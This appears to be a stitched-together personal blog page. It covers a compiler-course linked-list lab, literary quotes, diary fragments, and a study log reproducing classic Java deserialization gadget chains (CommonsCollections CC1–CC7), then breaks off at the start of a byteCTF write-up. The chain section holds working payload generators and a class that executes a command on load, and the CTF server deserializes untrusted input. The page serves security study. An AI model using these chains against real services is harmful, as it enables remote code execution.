0%

编译原理 Lab1

课程代码也发一下吧;

环境配置

一看测试程序的 python 源码头:

1
2
#!/usr/bin/env python3
# encoding: utf-8

linux 环境,干脆弄个 docker 隔离一下:

Dockerfile

1
2
3
4
5
6
7
8
FROM python:3.13-rc-bookworm

LABEL name="compilation-principle"
LABEL version="1.0"

WORKDIR /apps
# to make sure the container never stop itself
CMD ["tail", "-f", "/dev/null"]

用 docker 构建环境:

1
2
3
4
docker build ./ --tag compilation-principal-labs
# 6ff7ff597e6d6da7e432e0672cb21c2b7e3dcb85d0cd3858e9b5ea39edf2c4b6
docker run -d --name cp-labs-env -v C:/Users/Westj/Desktop/semester5/240900CompilingPrincipal/Labs/vol:/apps 6ff
# d378173aa930f0d1278a67a5e372adebab9d889da3d933bd3801ae753f02dbfb

bash 与 docker 交互:

1
2
docker exec -it d37 /bin/bash
# root@d378173aa930:/apps#

Lab1

1
// 1. You will complete the following functions (declared in header file) in the linked_list.c file!

完成链表定义即可;

源码

linked_list.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<stdio.h>
#include<stdlib.h>

typedef struct node {
union {
int count;
int value;
};
struct node *next;
} node;

/* initialize a linked list, head node is special */
node *linked_list_init();

/* destroy a linked list, free spaces */
void linked_list_free(node *head);

/* display elements in the linked list */
char *linked_list_tostring(node *head);

/* get the length of the linked list */
int linked_list_size(node *head);

/* insert val at the last of the linked list */
void linked_list_append(node *head, int val);

/*
* You should implement functions according to the follow function
* declarations. One thing to note that, the parameter *index*
* refers to the position of value node, i.e., index 0 corresponds
* to the next node of the header node.
*
* In case of out-of-bound index, your code should do nothing in all
* functions. As for remove, if the value doesn't exist, do nothing.
*
* For get, if index out of bound, return INT_MIN.
* For search, if value not exists. return -1.
* For search_all, if value not exists, return empty list.
*/

/* insert val at position index */
void linked_list_insert(node *head, int val, int index);

/* delete node at position index */
void linked_list_delete(node *head, int index);

/* remove the first occurence node of val */
void linked_list_remove(node *head, int val);

/* remove all occurences of val */
void linked_list_remove_all(node *head, int val);

/* get value at position index */
int linked_list_get(node *head, int index);

/* search the first index of val */
int linked_list_search(node *head, int val);

/* search all indexes of val */
node *linked_list_search_all(node *head, int val);

linked_list.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include "linked_list.h"
#include <limits.h>

node *linked_list_init()
{
node *head = (node *)malloc(sizeof(node));
head->count = 0;
head->next = NULL;
return head;
}

void linked_list_free(node *head)
{
node *cur = head;
node *last;
while (cur != NULL)
{
last = cur;
cur = cur->next;
free(last);
}
}

char linked_list_string[0x10000];

char *linked_list_tostring(node *head)
{
node *cur = head->next;
char *position;
int length = 0;
while (cur != NULL)
{
position = linked_list_string + length;
length += sprintf(position, "%d", cur->value);
cur = cur->next;
if (cur != NULL)
{
position = linked_list_string + length;
length += sprintf(position, "->");
}
}
position = linked_list_string + length;
length += sprintf(position, "%c", '\0');
return linked_list_string;
}

int linked_list_size(node *head)
{
return head->count;
}

void linked_list_append(node *head, int val)
{
node *cur = head;
node *new_node;
while (cur->next != NULL)
{
cur = cur->next;
}
new_node = (node *)malloc(sizeof(node));
new_node->value = val;
new_node->next = NULL;
cur->next = new_node;
head->count++;
}

/* your implementation goes here */

void linked_list_insert(node *head, int val, int index)
{
node *cur = head;
if (index > head->count || index < 0)
{
// do nothing
}
else
{
node *new_node = (node *)malloc(sizeof(node));
new_node->value = val;
for (int i = 0; i < index; i++)
{
cur = cur->next;
}
new_node->next = cur->next;
cur->next = new_node;
head->count++;
}
}

void linked_list_delete(node *head, int index)
{
node *cur = head;
if (index >= head->count || index < 0)
{
// do nothing
}
else
{
for (int i = 0; i < index; i++)
{
cur = cur->next;
}
node *delete_node = cur->next;
cur->next = cur->next->next;
// free delete_node
free(delete_node);
head->count--;
}
}

void linked_list_remove(node *head, int val)
{
node *cur = head;
while (cur->next != NULL)
{
if (cur->next->value == val)
{
node *remove_node = cur->next;
cur->next = cur->next->next;
free(remove_node);
head->count--;
return;
}
cur = cur->next;
}
}

void linked_list_remove_all(node *head, int val)
{
node *cur = head;
while (cur->next != NULL)
{
while (cur->next->value == val)
{
node *remove_node = cur->next;
cur->next = cur->next->next;
free(remove_node);
head->count--;
}
cur = cur->next;
}
}

int linked_list_get(node *head, int index)
{
node *cur = head;
if (index >= head->count || index < 0)
{
return INT_MIN;
}
else
{
for (int i = 0; i < index; i++)
{
cur = cur->next;
}
return cur->next->value;
}
}

int linked_list_search(node *head, int val)
{
node *cur = head;
for (int i = 0; i < head->count; i++)
{
if (cur->next->value == val)
{
return i;
}
cur = cur->next;
}
return -1;
}

node *linked_list_search_all(node *head, int val)
{

node *search_list = linked_list_init();
node *cur = head;
for (int i = 0; i < head->count; i++)
{
if (cur->next->value == val)
{
linked_list_append(search_list, i);
}
cur = cur->next;
}
return search_list;
}

目录结构

./vol : /apps

编译操作

cd lab1 进入映射的 apps/lab1make libll 编译 libll.so

编译成功输出,运行测试程序:

测试通过;

车子

红拂夜奔;

他碰上了一件倒霉的事儿,昨天一个不小心,被洛阳留守大尉杨素看上了,要收他做一名东床快婿。这可不是闹着玩儿的。这个东床比太平间还厉害,躺上去就是死人啦!

跨年孤勇者;

你破旧的玩偶 你的 面具 你的自我

华北浪漫革命;

我面无表情 装作很冷静

去营造那不存在的暖风

脚下却只能踩着水坑

霍乱时期的毕业;

我为你保留了童贞可不是一场梦

我原以为什么,但什么,什么,什么,反倒显得什么什么了。

添砖 Java 贰(doing)

复现一部分主要是 ysoserial 上的经典链子;

测试文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// import and imports

/**
* -- Test some classic Java deserialization chains.
* -- Generate payloads and deserialization them, mostly run 'calc' to demonstrate RCE.
* -- Some payloads have conflicting dependencies, but smooth execution can be ensured by appropriately modifying the /
* pom.xml, adjusting the SDK path, and annotating methods.
*
* @author qst137
* @version 1.0
*/

public class ClassicChains {
public static void main(String[] args) throws Exception {
serThenDes(getPayload());
}

/**
* do serialization and deserialization
*
* @param object object to test
* @author qst137
*/
private static void serThenDes(Object object) throws IOException, ClassNotFoundException {
// bytes
ByteArrayOutputStream bos = new ByteArrayOutputStream();

// serialization and write
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(object);

// read and deserialization
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
ois.close();
}

// payload generators

/**
* Dependencies: JDK
*
* @return java.lang.Object
* @author qst137
*/
private static Object getPayload() throws Exception {
// do sex when program is running
return new Object();
}
}

CC6

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/

分析

参见添砖 Java 壹

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static final String CC6_ANY1 = "QST";
private static final String CC6_ANY2 = "QSTQST";
private static final String CC6_ANY3 = "QSTQSTQST";

/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC6Payload() throws IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(CC6_ANY1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, CC6_ANY2);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, CC6_ANY3);

outerMap.remove(CC6_ANY2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

return expMap;
}

CC1

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1, JDK < 8u71
*
* @return java.lang.Object
* @author qst137
*/

分析

首先构造 ChainedTransormer;

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

为什么这里不直接 ConstantTransformer(Runtime)?因为 Runtime 类不是 SerializableClass 是,故而用了这样一个小 trick;

然后祭出 TransformedMap ,特点是会在 setValue 时调用 transformer

1
2
3
4
5
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map evilMap = TransformedMap.decorate(map,null,chainedTransformer);
// evilMap.put(ANY,ANY);
// calc

然后找在 readObject 时能调用到 setValue 的类 AnnotationInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final String ONE_OF_MEMBERS_NAME = "value";
private static final String ANY = "QST";
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

触发条件:

  1. AnnotationType.getInstance(this.type) 要求 type 继承 Annotation 类;
  2. memberTypes 要有键名为 memberValues(也就是传入的 map)的键名的成员,也就是构造时的 type 要有名为 map 键名的一个属性;

找一个有属性的注解即可,比如 Targetvalue 属性;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static final String ONE_OF_MEMBERS_NAME = "value";
private static final String ANY = "QST";
/**
* Dependencies: CommonsCollections 3.1-3.2.1, JDK < 8u71
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC1Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
map.put(ONE_OF_MEMBERS_NAME, ANY);
Map evilMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = clazz.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
return con.newInstance(Target.class, evilMap);
}

CC3

1
2
3
4
5
6
7
/**
* Dependencies: CommonsCollections3.1
* org.javassist is needed to get bytecode of class
*
* @return java.lang.Object
* @author qst137
*/

TempImpl 加载字节码

加载字节码的很多种方式之一;

相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public final class TemplatesImpl implements Templates, Serializable{
// only related code

// last
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

// the second last
private void defineTransletClasses()
throws TransformerConfigurationException {

// ...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
// ...
}
}

// the third last
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();
// ...
}
}

// the fourth last
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
}
}

实现这个调用就可以加载恶意字节码;

注意加载的类一定是继承了 AbstractTranslet,有检查,这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Evil Class for TemplateImpl, must extend AbstractTranslet
*
* @author qst137
* @version 1.0
*/

public class EvilTransletClass extends AbstractTranslet{

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

分析

CC3 比较强大的一点功能是可以绕过对 InvokerTransformer 的禁用,转用 InstantiateTransformer ,区别就是 InstantiateTransformer 调用的是类的构造方法;

找到了 TrAXFilter

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

调用了 newTransformer(),前面就用 CC6 的前一半构造即可;

官方的 CC3 用的是 CC1 的前一半,故而受 Java 版本限制,我们用 CC6 的前一半可以绕过这个限制通杀所有 Java 版本( 和 CC6)的特点一样;

这条链子比 CC6 要强一点,因为可以绕过对 InvokerTransformer 可能的禁用;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private static final String CC3_ANY1 = "QST";
private static final String CC3_ANY2 = "QSTQST";
private static final String CC3_ANY3 = "QSTQSTQST";
private static final int CC3_ANY4 = 1;


/**
* Dependencies: CommonsCollections 3.1-3.2.1
* org.javassist is needed to get bytecode of class
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC3Payload() throws Exception {

Templates templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(EvilTransletClass.class.getName()).toBytecode()});
setFieldValue(templates, "_name", CC3_ANY1);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

// put fake transformers
// use reflection instead of "put" method to avoid unexpected serialization
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(CC3_ANY4)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, CC3_ANY2);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, CC3_ANY3);

outerMap.remove(CC3_ANY2);

setFieldValue(transformerChain, "iTransformers", transformers);
return expMap;
}

注意 EvilTransletClass 是上面我自己定义的;

CC5

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/

分析

和 CC6 挺像,更朴实无华的调用到 Lazymap#get()

注意到 TiedMapEntry#toString() 会调用 this.getValue() 进而调用 Map#get()

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

Object#toString() 的调用就比较好找了,注意到 BadAttributeValueExpException#readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

System.getSecurityManager() 默认为 null ,故将序列化流里的对象的 val 设置为指向带 TransformerLazyMapEntryMap 即可;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static final String CC5_ANY = "QST";

/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC5Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, CC5_ANY);
BadAttributeValueExpException evilE = new BadAttributeValueExpException(null);
setFieldValue(evilE, "val", tiedMapEntry);
return evilE;
}

CC7

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/

分析

还是 Lazymap ,区别是这次调的 AbstractMap#equals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

想进到 m.map() 两条约束:

  1. o instanceof Map,必须的;
  2. m.size() == size(),需要控制一下;

再找哪里调了这个 equalsHashtable#readObject() 调用 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// ...

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

想走到 e.key.equals(key) 要求 e.hash == key.hashCode(),与运算前面为 false 后面就不会判断了,如何构造使前面相等?

要懂一点哈希表,看这个结构,e.hash 是上一个存进去的到这个 indexEntry.hash,也就是两个 keyObject.hashcode() 要相等,其中一个 key 是我们要调 AbstractMap#equals()Hashmap,故先构造一下;

AbstractMap#hashCode() 的逻辑是这样的:

1
2
3
4
5
6
7
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

把每个 EntryhashCode() 相加得到这个 MaphashCode(),再看 Entry#hashCode() 怎么写;

1
2
3
4
5
6
7
  static class Node<K,V> implements Map.Entry<K,V> {
// ...
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
// ...
}

因此 LazyMap#hashCode() 最后只与 HashMap 中每个键值对的 hashCode() 有关,而 Node#hashCode() 只把 keyvalue 的值简单异或了,故而撞 key 很容易实现,选用 "00"".n" 即可;

有个问题,这里构造会多调用一次 LazyMap#get() 导致 keyOuterMap 多出一个和 keySameHashMap.key 相同 key 的键值对,value.classProcessImpl 无法反序列化,因此要手动移除掉这个键;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static final String CC7_SAME_HASH1 = "00";
private static final String CC7_SAME_HASH2 = ".n";
private static final String CC7_ANY_VALUE = "QST";

/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC7Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Hashtable evilH = new Hashtable<>();
Map keyInnerMap = new HashMap<>();
Map keyOuterMap = LazyMap.decorate(keyInnerMap, chainedTransformer);
keyInnerMap.put(CC7_SAME_HASH1, CC7_ANY_VALUE);
Map keySameHashMap = new HashMap<>();
keySameHashMap.put(CC7_SAME_HASH2, CC7_ANY_VALUE);
evilH.put(keySameHashMap, CC7_ANY_VALUE);
evilH.put(keyOuterMap, CC7_ANY_VALUE);
keyInnerMap.remove(CC7_SAME_HASH2);
setFieldValue(chainedTransformer, "iTransformers", transformers);
return evilH;
}

CC2

CommonsCollections4.x

CommonsCollections4.0 中,所有的 CC 链依然可用,只是 LazyMap#decorate() 更名为 LazyMap#lazyMap()

高版本就修了,4.0 还有两个链子:CC2 和 CC4;

感觉 4.0 是“ bug 越修越多”的典范,当然话不能这么说,库开发者很牛逼,修 bug 顺手的事儿,security reserachers 才是蛀虫罢;

分析

这次不用 Map 了,改用 Comparator,有 TransformingComparator#compare() 能启动 transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}

找一条反序列化能走到 Comparator#compare() 的链子;

入口为 PriorityQueue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

heapify() 要求 size >= 2,且 queue[] 要有对应的元素;

siftDownUsingComparator() 要求 k < half ,即 size / 2 - 1 < size / 2,白给;

注意一点,之所以 CC2 和后面的 CC4 要求 commons-collections4.0,是因为 4.0 之前的版本 TransformingComparator 类未实现 Serializable 接口;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static final int CC2_QUEUE_SIZE = 2;
private static final String[] CC2_ANY_QUEUE = {"QST", "WWJ"};
/**
* Dependencies: CommonsCollections4 4.0
*
* @return java.lang.Object
* @author qst137
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public static Object getCC2Payload() throws Exception {
Transformer[] transformers = {
new ConstantTransformer<Object, Object>(Runtime.class),
new InvokerTransformer<>("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer<>("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer<>("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> evilQ = new PriorityQueue<>();
ClassicChains.setFieldValue(evilQ, "size", CC2_QUEUE_SIZE);
ClassicChains.setFieldValue(evilQ, "queue", CC2_ANY_QUEUE);
ClassicChains.setFieldValue(evilQ, "comparator", transformingComparator);
return evilQ;
}

会执行两次命令,因为 compare 两边一边调用一次 transform

CC4

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections4.0
*
* @return java.lang.Object
* @author qst137
*/

分析

纯烂活,后半段是 CC3 绕过 InvokerTransformer 的原理,前半段是 CC2 通过 PriorityQueue 包装拉起 TransformingComparator 回调的原理;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final String CC4_ANY = "QST";
private static final int CC4_QUEUE_SIZE = 2;
private static final String[] CC4_ANY_QUEUE = {"QST", "WWJ"};
/**
* Dependencies: CommonsCollections4.0
*
* @return java.lang.Object
* @author qst137
*/
public static Object getCC4Payload() throws Exception{
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(EvilTranslateClass.class.getName()).toBytecode()});
setFieldValue(templates, "_name", CC4_ANY);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> evilQ = new PriorityQueue<>();
setFieldValue(evilQ, "size", CC4_QUEUE_SIZE);
setFieldValue(evilQ, "queue", CC4_ANY_QUEUE);
setFieldValue(evilQ, "comparator", transformingComparator);
return evilQ;
}

这个只执行一次,因为 compare 调用一次 transform 之后会抛出错误,不细究了;

标准的 CC 链子就这些;

CB1 todo

todo

JDK7u21 todo

todo

URLDNS todo

todo

Groovy todo

todo

Spring1 todo

todo

Spring2 todo

todo

JSON1 todo

todo

我承认我第一次看到“不会表达爱”这个句子的时候笑喷了,那是不会表达爱么,那是不爱;

我悬在空中,哭我自己现在以及将来的幸福;

我还是没有学会享受当下,以上;

我求你们,求求你们,不要非常淡然的给自己青春插一片坟墓,然后变成一个什么都无所谓的人,至少把那坟墓藏起来,藏起来,看到这种东西我的心像要被挤碎了一样,真的,真真的……

我是很恋旧的人啊,虽然你们和我没有关系,但是不要伤害它……

算了也无所谓;

点名批评某 zk。

byteCTF2024-scxml

入门代码审计,有一些比较;

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Main {
public static void main(String[] args) throws IOException {
var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
server.createContext("/", req -> {
var code = 200;
var response = switch (req.getRequestURI().getPath()) {
case "/scxml" -> {
try {
var param = req.getRequestURI().getQuery();
yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();
} catch (Throwable e) {
e.printStackTrace();
yield ":(";
}
}
default -> {
code = 404;
yield "Not found";
}
};
